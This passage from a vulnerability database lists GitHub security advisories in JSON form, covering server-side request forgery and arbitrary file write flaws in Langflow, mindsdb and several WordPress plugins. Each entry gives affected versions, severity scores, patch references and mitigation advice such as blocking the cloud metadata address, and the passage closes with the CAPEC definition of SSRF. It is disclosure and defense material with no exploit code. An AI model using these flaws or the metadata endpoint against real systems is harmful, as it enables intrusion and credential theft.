`169.254.169.254` and use IMDSv2 on AWS).",
  "id": "GHSA-j8f7-x8jm-wmm4",
  "modified": "2026-10-06T13:39:58Z",
  "published": "2026-10-06T13:39:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-j8f7-x8jm-wmm4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/13016"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/13395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/13643"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/14033"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/14071"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/commit/94859df33acd70b2a1f816e26d68f5e89a7e5639"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/releases/tag/v1.10.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)"
}

GHSA-J8JW-W4G4-Q965

Vulnerability from github – Published: 2024-03-01 09:31 – Updated: 2026-04-01 18:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in sirv.Com Image Optimizer, Resizer and CDN – Sirv.This issue affects Image Optimizer, Resizer and CDN – Sirv: from n/a through 7.2.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-01T08:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in sirv.Com Image Optimizer, Resizer and CDN \u2013 Sirv.This issue affects Image Optimizer, Resizer and CDN \u2013 Sirv: from n/a through 7.2.0.",
  "id": "GHSA-j8jw-w4g4-q965",
  "modified": "2026-04-01T18:31:42Z",
  "published": "2024-03-01T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27949"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/sirv/vulnerability/wordpress-sirv-plugin-7-2-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/sirv/wordpress-sirv-plugin-7-2-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8W6-2R9H-CXHJ

Vulnerability from github – Published: 2023-12-15 04:02 – Updated: 2024-11-22 18:15
VLAI
Summary
GitHub Security Lab (GHSL) Vulnerability Report: Arbitary write GHSL-2023-182
Details

Impact

Issue: Arbitrary file write in file.py (GHSL-2023-183)

Patches

Use mindsdb staging branch or v23.11.4.1

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 23.7.4.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mindsdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.11.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-50731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-15T04:02:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nIssue: Arbitrary file write in file.py (GHSL-2023-183)\n\n### Patches\n\nUse mindsdb staging branch or v23.11.4.1",
  "id": "GHSA-j8w6-2r9h-cxhj",
  "modified": "2024-11-22T18:15:01Z",
  "published": "2023-12-15T04:02:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-j8w6-2r9h-cxhj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50731"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mindsdb/mindsdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/blob/1821da719f34c022890c9ff25810218e71c5abbc/mindsdb/api/http/namespaces/file.py#L122-L125"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/blob/1821da719f34c022890c9ff25810218e71c5abbc/mindsdb/api/http/namespaces/file.py#L138"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2023-279.yaml"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2023-182_GHSL-2023-184_mindsdb_mindsdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitHub Security Lab (GHSL) Vulnerability Report: Arbitary write GHSL-2023-182 "
}

GHSA-J943-8RCJ-JVF4

Vulnerability from github – Published: 2026-08-19 06:31 – Updated: 2026-08-19 21:30
VLAI
Details

The Animation Addons for Elementor WordPress plugin before 2.7.2 does not validate a user-supplied value before using it to build the host of a server-side HTTP request, allowing unauthenticated users to make the site issue requests to internal hosts and read the responses back.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-17565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T06:17:36Z",
    "severity": "HIGH"
  },
  "details": "The Animation Addons for Elementor  WordPress plugin before 2.7.2 does not validate a user-supplied value before using it to build the host of a server-side HTTP request, allowing unauthenticated users to make the site issue requests to internal hosts and read the responses back.",
  "id": "GHSA-j943-8rcj-jvf4",
  "modified": "2026-08-19T21:30:28Z",
  "published": "2026-08-19T06:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17565"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/e88e0b71-145c-4edd-9b62-783215b64c67"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J94R-GH6R-5XFH

Vulnerability from github – Published: 2024-04-02 21:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Builderall Team Builderall Builder for WordPress.This issue affects Builderall Builder for WordPress: from n/a through 2.0.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-30532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-02T19:15:47Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Builderall Team Builderall Builder for WordPress.This issue affects Builderall Builder for WordPress: from n/a through 2.0.1.",
  "id": "GHSA-j94r-gh6r-5xfh",
  "modified": "2026-04-28T21:34:31Z",
  "published": "2024-04-02T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30532"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/builderall-cheetah-for-wp/wordpress-builderall-builder-for-wordpress-plugin-2-0-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.